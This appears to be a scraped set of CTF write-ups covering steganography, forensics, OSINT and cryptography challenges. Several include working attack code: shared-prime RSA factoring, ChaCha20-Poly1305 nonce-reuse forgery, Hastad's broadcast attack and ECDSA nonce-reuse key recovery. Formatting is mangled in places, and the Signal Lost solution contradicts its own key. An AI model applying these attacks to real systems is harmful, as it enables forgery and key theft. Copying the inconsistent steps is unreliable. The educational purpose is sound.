Inspect computation graph
↓
Find auxiliary distance branch
↓
Extract fc1.weight, fc1.bias and buffer_0
↓
Invert Tanh using arctanh
↓
Solve Ax + b = arctanh(target)
↓
Convert normalized values back to bytes
↓
Recover flag
Flag
CYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!} Signal Lost
Signal Lost
Author: Shreehari
This is a multi-layer forensics/steganography challenge. The image contains three decoy investigation paths and one genuine path requiring cross-referencing.
Tools used: exiftool, strings, binwalk, zsteg, Python (Pillow)
For the initial reconnaissance:
We inspect the image metadata using exiftool:
1
exiftool signal_lost.png
The metadata contains:
Artist: Probe HELIOS-7 / Autonomous Imaging Unit
Description: Deep field survey - unit helios7 - final burst before LOS
Comment: T3BlcmF0aW9uIERlZXAgU2t5IC0gRnJhbWUgNDcvMTI4
The Comment is base64 encoded. We decode it using:
1
echo "T3BlcmF0aW9uIERlZXAgU2t5IC0gRnJhbWUgNDcvMTI4" | base64 -d
This gives:
1
Operation Deep Sky - Frame 47/128
This is flavour text and leads to a dead end.
For the binwalk part:
We inspect the image using binwalk:
1
2
binwalk signal_lost.png
binwalk -e signal_lost.png
This finds zlib data after IEND. Decompressing it gives:
1
2
3
4
[HELIOS-7 DIAGNOSTIC LOG]
Status: CRITICAL - Loss of signal imminent
Result: Primary data stream: CORRUPTED
Backup stream: UNAVAILABLE
For the pixel analysis:
We use zsteg:
1
zsteg signal_lost.png
The relevant output is:
1
2
3
b1,r,lsb,xy .. text: [garbage/noise]
b1,g,lsb,xy .. text: "auth:probe_designation"
b1,b,lsb,xy .. file: data
The channels can be interpreted as:
Red = noise (corrupted primary stream)
Green = auth:probe_designation ← KEY HINT
Blue = encrypted payload
The value auth:probe_designation means that the decryption key is the probe’s designation.
From the Step 1 metadata, the Description contains unit helios7.
Therefore:
1
key = "helios7"
For the decryption part:
We extract the blue channel LSBs using Python and Pillow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
img = Image.open("signal_lost.png")
pixels = list(img.getdata())
# Extract blue channel LSBs
blue_bytes = []
bits = []
for p in pixels:
bits.append(p[2] & 1)
if len(bits) == 8:
val = 0
for b in bits:
val = (val << 1) | b
if val == 0:
break
blue_bytes.append(val)
bits = []
# XOR with key
key = b"NEWKEY123"
flag = bytes([blue_bytes[i] ^ key[i % len(key)] for i in range(len(blue_bytes))])
print(flag.decode())
The output is:
1
CYS{dynamic_flag}
Flag
CYS{dynamic_flag} The Archivist's Last Secret
The Archivist’s Last Secret
Author: Om
This is a steganography challenge combining DCT-based steganography, PNG chunk analysis, ML-KEM-768 decapsulation, HKDF-SHA256 key derivation, and AES-256-GCM decryption.
For the seed identification part:
The story gives the date 21-08-2026 and indicates that it should be written without separators.
This gives the deterministic seed:
1
20260821
The same seed is used when shuffling the candidate DCT coefficients.
For the AES payload extraction from Image 1:
The first image hides data in JPEG DCT coefficients. The DCT position is (1,2), zero coefficients are ignored, and the parity of each remaining coefficient encodes a bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pathlib import Path
import jpegio as jio
import random
IMAGE = "FINAL_CHALL_1.jpg"
SEED = 20260821
DCT_POS = (1, 2)
PAYLOAD_SIZE = 60
jpeg = jio.read(IMAGE)
Y = jpeg.coef_arrays[0]
candidates = []
height, width = Y.shape
for block_y in range(0, height, 8):
for block_x in range(0, width, 8):
y = block_y + DCT_POS[0]
x = block_x + DCT_POS[1]
if Y[y, x] != 0:
candidates.append(Y[y, x])
rng = random.Random(SEED)
rng.shuffle(candidates)
bits = [
abs(value) % 2
for value in candidates[:PAYLOAD_SIZE * 8]
]
payload = bytes(
sum(bits[i + j] << (7 - j) for j in range(8))
for i in range(0, len(bits), 8)
)
Path("aes_payload.bin").write_bytes(payload)
The recovered payload is 60 bytes. The first 48 bytes contain the AES-GCM ciphertext and authentication tag, while the final 12 bytes are the nonce.
1
2
3
4
5
6
from pathlib import Path
payload = Path("aes_payload.bin").read_bytes()
Path("aes_ciphertext.bin").write_bytes(payload[:48])
Path("aes_nonce.bin").write_bytes(payload[48:])
For the ML-KEM private key extraction from Image 2:
The second image uses six DCT positions. The same non-zero coefficient rule, parity extraction, and deterministic shuffle are applied.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import jpegio as jio
import random
from pathlib import Path
IMAGE = "FINAL_CHALL_2.jpg"
SEED = 20260821
POSITIONS = [
(0, 1),
(0, 2),
(1, 1),
(1, 2),
(2, 1),
(2, 2),
]
PAYLOAD_SIZE = 2498
jpeg = jio.read(IMAGE)
Y = jpeg.coef_arrays[0]
candidates = []
height, width = Y.shape
for block_y in range(0, height, 8):
for block_x in range(0, width, 8):
for row, col in POSITIONS:
y = block_y + row
x = block_x + col
if Y[y, x] != 0:
candidates.append((y, x))
rng = random.Random(SEED)
rng.shuffle(candidates)
required_bits = PAYLOAD_SIZE * 8
if len(candidates) < required_bits:
raise RuntimeError(
f"Not enough DCT candidates: "
f"{len(candidates)} available, "
f"{required_bits} required"
)
selected = candidates[:required_bits]
bits = [
abs(Y[y, x]) % 2
for y, x in selected
]
payload = bytearray()
for i in range(0, len(bits), 8):
byte = 0
for bit in bits[i:i + 8]:
byte = (byte << 1) | bit
payload.append(byte)
Path("mlkem768.der").write_bytes(payload)
The extracted payload is 2498 bytes, which matches the ML-KEM-768 private-key size.
For the Image 3 inspection:
The third image is a PNG containing an additional custom chunk. Its chunk structure can be inspected with pngcheck.
1
pngcheck -v FINAL_CHALL_3.png
The output reveals the custom chunk containing the ML-KEM ciphertext.
For the ML-KEM ciphertext extraction:
The custom chunk can be extracted directly from the PNG.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pathlib import Path
import struct
PNG = "FINAL_CHALL_3.png"
TARGET = b"ctXT"
data = Path(PNG).read_bytes()
offset = 8
while offset < len(data):
length = struct.unpack(">I", data[offset:offset + 4])[0]
chunk_type = data[offset + 4:offset + 8]
chunk_data = data[offset + 8:offset + 8 + length]
if chunk_type == TARGET:
Path("mlkem_ciphertext.bin").write_bytes(chunk_data)
break
offset += 12 + length
The extracted ciphertext is 1088 bytes, matching the ML-KEM-768 ciphertext size.
For the ML-KEM-768 decapsulation:
The 2498-byte private key and the 1088-byte ciphertext are used together to recover the ML-KEM shared secret.
1
2
3
4
5
6
openssl pkeyutl \
-decap \
-inkey mlkem768.der \
-keyform DER \
-in mlkem_ciphertext.bin \
-secret shared_secret.bin
The resulting shared secret can be checked with:
1
xxd -p shared_secret.bin
For the AES-256 key derivation:
The ML-KEM shared secret is used as the input key material for HKDF-SHA256. The information string is CTF-AES-256-GCM, and the output length is 32 bytes.
1
2
3
4
5
6
7
openssl kdf -binary \
-keylen 32 \
-kdfopt digest:SHA256 \
-kdfopt key:$(xxd -p -c 256 shared_secret.bin) \
-kdfopt info:CTF-AES-256-GCM \
-kdfopt mode:EXTRACT_AND_EXPAND \
HKDF > aes_key.bin
Verify the derived key:
1
xxd -p aes_key.bin
The resulting AES-256 key is:
1
b7a85ccc454bae8b8eab9af0fe946ddbcc51538eb5557895ffd16a7f050ba06f
For the AES-256-GCM decryption:
The derived AES key is combined with the ciphertext and nonce recovered from Image 1.
1
2
3
4
5
6
7
8
9
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
key = Path("aes_key.bin").read_bytes()
ciphertext = Path("aes_ciphertext.bin").read_bytes()
nonce = Path("aes_nonce.bin").read_bytes()
flag = AESGCM(key).decrypt(nonce, ciphertext, None)
print(flag.decode())
AES-GCM verifies the authentication tag during decryption. A mismatch in the key, nonce, ciphertext, or authentication tag causes decryption to fail.
The successful AES-256-GCM decryption reveals the final flag:
1
CYS{1_@m_iN_+h3_3mp1r3_8u$in388}
Flag
CYS{1_@m_iN_+h3_3mp1r3_8u$in388} The Blue Signal
The Blue Signal
Author: Akshitha M
This is a OSING based CTF challenge using instagram, github and Google docs.
In the right side we can see the user @capncookmrwhite The picture is colored differently (purple and pink instead of the original blue) pointing to instagram’s iconic colors.
Upon searching the username on instagram we land on a public page with one post
Few letters in the caption of the post are capitalized randomly spelling out GITHUB.
All are fake except last one
download the last html and enter the password
use base64 decoder
A google docs will open, all visible text is useless
Hex of sky blue is 00BFFF
Epi number is 11 and it’s morning 11AM
“Where my world leaks into yours” refers to coordinates of shooting location which is John B. Robert Dam with decimal coordinates 35.1381 -106.5156
Use flag format to get answer
CYS{11AM_35.1381_-106.5156_00BFFF}
Flag
CYS{11AM_35.1381_-106.5156_00BFFF} The Broken Formula
The Broken Formula
Challenge Description
You are given six files:
1
2
3
4
5
6
01.jpg
02.jpg
03.jpg
04.png
05.png
audio.mp3
The goal is to recover the flag.
The challenge is a chain of clues and cryptographic mistakes. The main path is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Find authenticated carrier
↓
Recover fragment order
↓
Break RSA
↓
Find nonce reuse
↓
Recover ChaCha20 keystream
↓
Recover Poly1305 parameters
↓
Forge command
↓
Derive vault key
↓
Decrypt vault
↓
Flag
audio.mp3 is a deliberate decoy. It contains a misleading flag-like result and is not part of the successful solve path.
1. Inspect the Files
Start by checking the files:
1
2
ls -lah
file 01.jpg 02.jpg 03.jpg 04.png 05.png audio.mp3
The interesting files are 02.jpg and 05.png.
They both contain hidden index data.
The important clue is that the two indexes contain the same candidate fragments, but only one index is authenticated.
The audio file is a decoy and does not contribute to the real solve.
So don’t simply choose the first index you can extract.
2. Find the Authenticated Index
05.png contains an IDX8 structure hidden in the image data.
The beginning of the hidden structure is:
1
IDX8
The PNG uses the image pixels themselves to hide the data. The relevant bit is the least significant bit of the red channel.
A simple extraction script can recover the bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
image = Image.open("05.png").convert("RGB")
bits = []
for r, g, b in image.getdata():
bits.append(r & 1)
raw = bytearray()
for i in range(0, len(bits) - 7, 8):
value = 0
for bit in range(8):
value |= bits[i + bit] << (7 - bit)
raw.append(value)
if raw[:4] == b"IDX8":
print(raw[:64].hex())
break
The structure contains an authentication value.
The equivalent decoy data is present in 02.jpg.
The important observation is:
1
2
05.png → authority VALID
02.jpg → authority INVALID
Therefore the authenticated index from 05.png is the one to trust.
3. Recover the Fragment Candidates
The authenticated index gives these candidates:
1
2
3
4
5
6
A17
C04
B29
D38
E52
F11
At this point, don’t assume all six are real.
The challenge contains continuity information that determines which fragment follows which.
The valid chain is:
1
A17 → C04 → B29
The other entries are decoys:
1
2
3
D38
E52
F11
The useful clue is the transition relationship:
1
2
3
A17 → C04
C04 → B29
B29 → END
So the real fragment order is:
1
A17 → C04 → B29
This establishes the correct path into the next layer.
4. Recover the RSA Private Key
The next clue comes from the recovered protocol information.
The protocol uses RSA keys A, B and C.
The important mistake is that RSA keys A and B share a prime factor.
For RSA:
1
n = p × q
If two moduli share p:
1
2
nA = p × qA
nB = p × qB
then:
1
gcd(nA, nB) = p
You can therefore recover the shared prime directly.
First load the two public moduli:
1
2
3
4
5
6
7
8
9
10
11
12
import json
import math
data = json.load(open("master.json"))
n_a = int(data["rsa"]["A"]["n"])
e_a = int(data["rsa"]["A"]["e"])
n_b = int(data["rsa"]["B"]["n"])
p = math.gcd(n_a, n_b)
q = n_a // p
Then calculate the private exponent:
1
2
3
4
5
6
7
phi = (p - 1) * (q - 1)
d = pow(
e_a,
-1,
phi
)
The RSA private key can then be reconstructed with the recovered p, q, d, e and n.
The encrypted protocol value is the top-level protocol field in the recovered data:
1
2
3
ciphertext = bytes.fromhex(
data["protocol"]
)
Decrypt it using RSA-OAEP with SHA-256:
1
2
3
4
5
6
7
8
9
10
11
12
plaintext = private_key.decrypt(
ciphertext,
padding.OAEP(
mgf=padding.MGF1(
algorithm=hashes.SHA256()
),
algorithm=hashes.SHA256(),
label=None
)
)
print(plaintext.decode())
The decrypted protocol contains the critical clue:
1
2
3
4
5
DEAD-DROP/07
AUTH=CHACHA20-POLY1305
WARNING=NONCE-REUSE
PACKETS=50
TARGET=OPEN-VAULT
The important line is:
1
WARNING=NONCE-REUSE
5. Parse the Traffic
The next artifact is the binary traffic.
It has the header:
1
DDPK
followed by:
1
2
Protocol version: 8
Packet count: 50
Each packet contains:
1
2
3
4
5
6
7
8
9
sequence number
AAD length
nonce length
ciphertext length
tag length
AAD
nonce
ciphertext
tag
Parse the packet header with:
1
2
3
4
5
6
import struct
seq, aad_len, nonce_len, cipher_len, tag_len = struct.unpack(
">HBBHB",
raw[offset:offset + 7]
)
The traffic contains several reused nonce groups.
The important one is:
1
[13, 34, 47]
All three packets use the same nonce.
The packet structure is:
1
2
3
4
5
Packet 13 → 16-byte ciphertext
Packet 34 → 16-byte ciphertext
Packet 47 → 16-byte ciphertext
This is the real nonce-reuse group.
6. Recover the ChaCha20 Keystream
ChaCha20 is a stream cipher.
The basic relationship is:
1
ciphertext = plaintext XOR keystream
Therefore:
1
keystream = ciphertext XOR plaintext
Packet 13 has known plaintext:
1
PING|NODE=07|OK!
Recover the keystream:
1
2
3
4
5
6
7
8
9
10
11
known = b"PING|NODE=07|OK!"
keystream = bytes(
a ^ b
for a, b in zip(
known,
ciphertext
)
)
print(keystream.hex())
The recovered 16-byte keystream is:
1
885516f46eb4af483e1bbc30598645c0
Because the nonce was reused, the same keystream is valid for packets 34 and 47.
Their first 16 plaintext bytes become:
1
2
3
AUTH|USER|STAT!!
AUTH|USER|READ!!
That confirms the nonce-reuse attack.
7. Recover Poly1305 r and s
ChaCha20-Poly1305 also authenticates the encrypted data using Poly1305.
Nonce reuse means the same Poly1305 one-time key is reused.
For this challenge, the three reused packets all have 16-byte ciphertexts, making the equations manageable.
The Poly1305 modulus is:
1
2
3
P = (1 << 130) - 5
MOD = 1 << 128
The challenge’s fixed-length polynomial can be represented as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def poly_value(ciphertext, r):
message = (
int.from_bytes(
ciphertext,
"little"
) +
(1 << 128)
)
length_block = 16 << 64
h = 0
h = (
(h + message) * r
) % P
h = (
(h + length_block) * r
) % P
return h
For two packets:
1
2
3
tag1 = Poly1305(message1, r) + s
tag2 = Poly1305(message2, r) + s
Subtracting the equations removes s.
The final tag is reduced modulo:
1
2^128
so the solver also accounts for the small possible tag carries.
The recovered values are:
1
2
3
r = 0xd22de48026933b0053407780e113741
s = 0x190aef408628d7c22942d84aecf852c9
The important point is that the recovered candidate is checked against the third packet before it is accepted.
8. Forge AUTH|MAINT|OPEN!
Now we have both things needed for a forgery:
1
2
3
ChaCha20 keystream
Poly1305 r and s
The target command is:
1
AUTH|MAINT|OPEN!
It is exactly 16 bytes.
Generate its ciphertext:
1
2
3
4
5
6
7
8
9
10
11
target = b"AUTH|MAINT|OPEN!"
forged_ciphertext = bytes(
a ^ b
for a, b in zip(
target,
keystream
)
)
print(forged_ciphertext.hex())
The resulting ciphertext is:
1
c90042bc12f9ee01704fc07f09c30be1
Calculate the new Poly1305 tag:
1
2
3
4
5
6
7
8
9
10
11
12
13
forged_tag = (
(
poly_value(
forged_ciphertext,
r
) + s
) % (1 << 128)
).to_bytes(
16,
"little"
)
print(forged_tag.hex())
The resulting tag is:
1
3d4cb61e46cb99c0360f10207fc01b5f
So the forged packet represents:
1
AUTH|MAINT|OPEN!
with a valid authentication tag.
9. Derive the Vault Key
The challenge uses the forged packet to derive the vault key.
The transcript is:
1
nonce || forged ciphertext || forged tag
Build it:
1
2
3
4
5
transcript = (
bytes.fromhex(nonce) +
bytes.fromhex(forged_ciphertext) +
bytes.fromhex(forged_tag)
)
Then derive the key:
1
2
3
4
5
6
import hashlib
vault_key = hashlib.sha256(
b"DD07-VAULT-V1|" +
transcript
).digest()
This is the key used to protect the final vault.
10. Decrypt the Vault
The vault uses ChaCha20-Poly1305 again.
Load its nonce and ciphertext, then decrypt using the derived key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
vault_nonce = bytes.fromhex(
data["vault"]["nonce"]
)
vault_ciphertext = bytes.fromhex(
data["vault"]["ciphertext"]
)
flag = ChaCha20Poly1305(
vault_key
).decrypt(
vault_nonce,
vault_ciphertext,
None
)
print(flag.decode())
The vault decrypts successfully.
11. Final Flag
1
CYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3}
Solve Summary
| Step | What you discover |
|---|---|
| 1 | 05.png contains the authenticated index |
| 2 | The real fragment chain is A17 → C04 → B29 |
| 3 | RSA A and B share a prime |
| 4 | The decrypted protocol warns about nonce reuse |
| 5 | Packets 13, 34, 47 reuse a nonce |
| 6 | Known plaintext recovers the ChaCha20 keystream |
| 7 | Reused Poly1305 material gives r and s |
| 8 | Forge AUTH|MAINT|OPEN! |
| 9 | Hash the forged transcript to derive the vault key |
| 10 | Decrypt the vault |
| 11 | Recover the flag |
Flag
CYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3} The Evidence
The Evidence
Author: Hait Patel
This is a steganography, forensics, and cryptography-based CTF challenge in which the flag is divided into two halves, F₁ and F₂. Both halves are protected using visual steganography, metadata pivot links, Word container structures, and custom PNG file chunks.
All true payload data and keys are hidden in the Bit 0 channel (LSB) across the primary color planes. Multiple decoy flags and trap keys exist across other bit planes to mislead automated tools and superficial visual inspection.
For the Tools Used:
- StegSolve (or
zstegon Linux) exiftool- CyberChef
- A zip/archive utility
For Step 1 — Extract Key 1 and Decrypt Flag Part 1 (F₁):
Files provided: RV_challenge.png, Lab_challenge.png
For Recovering Key 1:
- Open
RV_challenge.pngin StegSolve (or inspect viazstegon Linux). - Cycle through the bit planes to Red Plane 0 (R0) to extract the plaintext key:
1
METH_LAB_RED_KEY
For Extracting the Encrypted F₁ Payload:
- Open
Lab_challenge.pngin StegSolve. - Navigate to Analyse → Data Extract.
- Select Blue 0 (B0) (MSB first, Row order) and copy the extracted hex stream:
1
0E 1C 07 33 1D 20 14 71 00 15 75
For Decrypting Part 1 in CyberChef:
Recipe:
From Hex(Delimiter: Auto)XOR(Key:METH_LAB_RED_KEY, Type:UTF8, Scheme:Standard) → yieldsCYS{BlU3_G0
Output (F₁):
1
CYS{BlU3_G0
For Step 2 — Locate the Word File via Metadata:
Inspect the metadata of RV_challenge.png:
1
exiftool RV_challenge.png
The metadata contains a link pointing to an external Word document, challenge.docx. Download this file.
For Step 3 — Extract the Nested Document Media & Folder Links:
Microsoft Word’s UI strips ancillary PNG chunks and metadata when using “Save as Picture,” so the raw media must be unpacked directly from the .docx archive.
- Rename
challenge.docx→challenge.zip. - Unzip the file and navigate to the media folder:
1
challenge.zip/word/media/
- Run
exiftoolon the second image (image2.png):
1
exiftool -Description -Comment image2.png
This reveals two separate links:
- Description field → link to Folder A (holds the file containing the encrypted F₂ payload)
- Comment field → link to Folder B (holds the file containing Key 2)
Download both files from their respective folders.
For Step 4 — Carve Embedded Files Using CyberChef:
Both downloaded files contain nested PNG structures injected into custom ancillary chunks.
- Open CyberChef.
- Drag and drop the file downloaded from Folder A into the Input panel.
- Apply the Extract Files operation.
- Save the carved inner image file:
flaghere_carved.png. - Repeat the exact same steps for the file downloaded from Folder B to carve the key image file:
key_carved.png.
For Step 5 — Extract Key 2 and Encrypted Flag Part 2 (F₂):
For Extracting Encrypted F₂:
- Open
flaghere_carved.pngin StegSolve → Analyse → Data Extract. - Select Blue 0 (B0) (MSB, Row order) and scroll to the top of the output preview:
1
ENC_F2_HEX: 2F 74 05 32 3D 3F 6C 14 1C 7B 03 5C 39 1A 0E 64
For Extracting Key 2:
- Open
key_carved.pngin StegSolve → Analyse → Data Extract. - Select Blue 0 (B0) and scroll to the top of the output preview:
1
REAL_KEY: M3TH_SUPR3M3_K3Y
For Step 6 — Decrypt Flag Part 2 (F₂) & Reassemble Flag:
Input:
1
2F 74 05 32 3D 3F 6C 14 1C 7B 03 5C 39 1A 0E 64
Recipe:
From Hex(Delimiter: Auto)XOR(Key:M3TH_SUPR3M3_K3Y, Type:UTF8, Scheme:Standard) → yieldsbGQzbl9DNHNofQ==From Base64
Output (F₂):
1
ld3n_C4sh}
For the Final Reassembly:
1
F1 + F2 = CYS{BlU3_G0 + ld3n_C4sh} = CYS{BlU3_G0ld3n_C4sh}
For the Final Flag:
1
CYS{BlU3_G0ld3n_C4sh}
Flag
CYS{BlU3_G0ld3n_C4sh} The Safe That Was Never the Point
The Safe That Was Never the Point
Author: Om
This is a cryptography challenge combining Shamir Secret Sharing, Feldman VSS on secp256k1, RSA Hastad Broadcast Attack with CRT, SHA-256-based key derivation, XOR-based fragment recovery, and Lagrange interpolation to reconstruct the final flag.
For the Shamir shares and Feldman VSS verification:
The challenge contains ten Shamir shares. Some of them have been corrupted.
The story hints that some pages have invalid seals.
The commitments in archived_pages.json allow verification using Feldman VSS.
The curve used is secp256k1.
For every share:
```text id=”f6qf91” yG = C0 + xC1 + x²C2 + … + x⁹C9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
If both sides match, the share is valid.
```python id="g5x5j1"
import json
from ecdsa import SECP256k1, ellipticcurve
curve = SECP256k1
G = curve.generator
N = curve.order
def point_from_json(obj):
return ellipticcurve.Point(
curve.curve,
int(obj["x"],16),
int(obj["y"],16),
N
)
def verify_share(x,y,commitments):
lhs = y * G
rhs = ellipticcurve.INFINITY
power = 1
for c in commitments:
rhs += power * point_from_json(c)
power = (power*x) % N
return lhs == rhs
with open("archived_pages.json") as f:
data=json.load(f)
valid=[]
for share in data["shares"]:
x=share["x"]
y=int(share["y"],16)
if verify_share(
x,
y,
data["commitments"]
):
valid.append((x,y))
print("Valid shares:")
print([x for x,y in valid])
The output is:
```text id=”8f6t8s” Valid shares: [2,5,6,9]
1
2
3
4
5
6
7
8
9
10
11
These four shares are used for RSA selection.
For the RSA record selection:
Only the valid shares are used.
They are sorted by x value and encoded as:
```text id="l9n3h4"
x || y
where:
- x is 1 byte
- y is 32 bytes
The SHA-256 hash of this data selects the RSA record:
```text id=”n7sgji” record = SHA256(data) % 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
```python id="3z8f9n"
import hashlib
valid.sort()
payload=b""
for x,y in valid:
payload += x.to_bytes(1,"big")
payload += y.to_bytes(32,"big")
digest = hashlib.sha256(
payload
).digest()
record = int.from_bytes(
digest,
"big"
) % 4
print(record)
The output is:
```text id=”k8f7x2” 3
1
2
3
4
5
Therefore:
```text id="r3n4w6"
sealed_folders.json -> 3
is the real RSA record.
For recovering the corrupted shares via the RSA Hastad Broadcast Attack:
The selected RSA record contains three ciphertexts.
The story hints:
- same plaintext
- three RSA encryptions
- no padding
- cube root recovery
This is RSA Hastad Broadcast Attack.
The exponent is:
```text id=”v9k2s4” e = 3
1
2
3
4
5
CRT combines the ciphertexts:
```text id="p3c7x1"
c1,c2,c3
into:
```text id=”h4m8q2” m³
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Then the integer cube root gives the plaintext.
```python id="z6n1r8"
import json
from math import prod
def crt(records):
N=prod(
n for n,c in records
)
result=0
for n,c in records:
Ni=N//n
inv=pow(Ni,-1,n)
result += c*Ni*inv
return result % N
def cube_root(n):
lo=0
hi=1<<(n.bit_length()//3+2)
while lo<hi:
mid=(lo+hi+1)//2
if mid**3<=n:
lo=mid
else:
hi=mid-1
return lo
with open("sealed_folders.json") as f:
data=json.load(f)
selected=data["records"]["3"]
records=[
(r["n"],r["c"])
for r in selected
]
m3=crt(records)
m=cube_root(m3)
payload=m.to_bytes(
(m.bit_length()+7)//8,
"big"
)
print(payload.hex())
records=[]
for offset in range(0, len(payload), 33):
x = payload[offset]
y = int.from_bytes(
payload[offset + 1:offset + 33],
"big"
)
records.append((x, y))
recovered = [
{"x": x, "y": hex(y)}
for x, y in records
]
with open("recovered_shares.json", "w") as f:
json.dump(recovered, f, indent=4)
print("recovered_shares.json written")
The recovered payload contains:
```text id=”c8j5w3” 6 original (x,y) pairs
1
2
3
4
5
These correspond to the corrupted shares:
```text id="u2m6k9"
x = 1,3,4,7,8,10
For repairing the shares:
The RSA plaintext gives the original values of corrupted shares.
Replace those values in shares.json.
```python id=”q4v8s2” import json
with open(“archived_pages.json”) as f: shares_data = json.load(f)
with open(“recovered_shares.json”) as f: recovered = json.load(f)
recovered_map = {r[“x”]: r[“y”] for r in recovered}
for share in shares_data[“shares”]: if share[“x”] in recovered_map: share[“y”] = recovered_map[share[“x”]]
with open(“repaired_shares.json”, “w”) as f: json.dump(shares_data, f, indent=4)
print(“repaired_shares.json written”)
1
2
3
4
5
6
7
After repair, Feldman verification should mark all shares as valid.
The output file becomes:
```text id="j5r2n7"
repaired_shares.json
For reconstructing the Shamir secret:
The repaired shares can reconstruct the Shamir secret.
The secret is:
```text id=”b8w3q6” f(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Lagrange interpolation.
This is only a verification step.
The secret is not the flag.
For recovering the XOR-encoded flag fragments:
`hidden_strips.json` contains only encoded fragments.
The missing x values are recovered from the RSA payload.
For every recovered share:
```text id="e7t4m9"
mask = SHA256(
"CYS-XOR" || x || original_y
)
Then:
```text id=”s1n6p8” fragment = encoded XOR mask
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
The decoded fragments are sorted by x and joined.
```python id="w2k9f5"
import json
import hashlib
with open("recovered_shares.json") as f:
recovered=json.load(f)
with open("hidden_strips.json") as f:
fragments=json.load(f)
recovered.sort(
key=lambda x:x["x"]
)
def mask(x,y):
data=(
b"CYS-XOR"
+ x.to_bytes(1,"big")
+ y.to_bytes(32,"big")
)
return hashlib.sha256(data).digest()
flag=[]
for share,fragment in zip(
recovered,
fragments["fragments"]
):
x=share["x"]
y=int(share["y"],16)
encoded=bytes.fromhex(
fragment["encoded"]
)
m=mask(x,y)
flag.append(
bytes(
a^b
for a,b in zip(
encoded,
m
)
)
)
print(
b"".join(flag).decode()
)
The final flag is:
text id="r7c4x1" CYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt}
Flag
CYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt} The Same Wheel, Twice Turned
The Same Wheel, Twice Turned
Author: Om
This is a cryptography challenge demonstrating ECDSA nonce reuse, followed by ECDH shared-secret recovery, XORShift8-based salt reconstruction, SHA-256 hash-chain analysis, HKDF-SHA256 key derivation, and AES-256-GCM decryption to recover the final flag.
For the ECDSA nonce recovery:
The two messages are:
1
2
Archive access request: sector-17
Archive access request: sector-42
The challenge provides info.json containing the two ECDSA signatures.
Read the values:
```python id=”d7k3p1” import json
with open(“info.json”, “r”) as f: data = json.load(f)
r1 = int(data[“sector_17_log”][“echo”], 16) s1 = int(data[“sector_17_log”][“trace”], 16) r2 = int(data[“sector_42_log”][“echo”], 16) s2 = int(data[“sector_42_log”][“trace”], 16)
1
2
3
4
5
6
7
Both signatures were generated using the same ECDSA nonce `k`.
For ECDSA:
```text id="j2m8q4"
s = (k^-1)(z + rd) mod n
Since the same k was used for both messages:
```text id=”p5v1x9” k = (z1 - z2) / (s1 - s2) mod n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Use:
```python id="h6r3t8"
from hashlib import sha256
from ecdsa import SECP256k1
message1 = b"Archive access request: sector-17"
message2 = b"Archive access request: sector-42"
n = SECP256k1.order
z1 = int.from_bytes(sha256(message1).digest(), "big")
z2 = int.from_bytes(sha256(message2).digest(), "big")
k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n
print("Recovered k:", hex(k))
For recovering the ECDSA private key:
Once k is known:
```text id=”r9w2f6” d = (s1k - z1) / r1 mod n
1
2
3
4
```python id="q4n7s1"
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
print("Recovered private key:", hex(d))
For recovering the ECDH shared secret:
The info.json file also contains the ECDH public key coordinates:
```text id=”u8c3m5” rendezvous_point.north rendezvous_point.east
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
```python id="a6k1p9"
from cryptography.hazmat.primitives.asymmetric import ec
public_x = int(data["rendezvous_point"]["north"], 16)
public_y = int(data["rendezvous_point"]["east"], 16)
ecdh_public = ec.EllipticCurvePublicNumbers(
public_x, public_y, ec.SECP256K1()
).public_key()
ecdh_private = ec.derive_private_key(d, ec.SECP256K1())
shared_secret = ecdh_private.exchange(ec.ECDH(), ecdh_public)
print("Shared secret:", shared_secret.hex())
For recovering the XORShift8 seed:
The PRNG clue gives:
```text id=”v3h7n2” Observed X1 = f5
1
2
3
4
5
6
7
8
9
The XORShift8 function is:
```python id="m8q4x6"
def xorshift8(x):
x ^= (x << 3) & 0xff
x ^= x >> 5
x ^= (x << 1) & 0xff
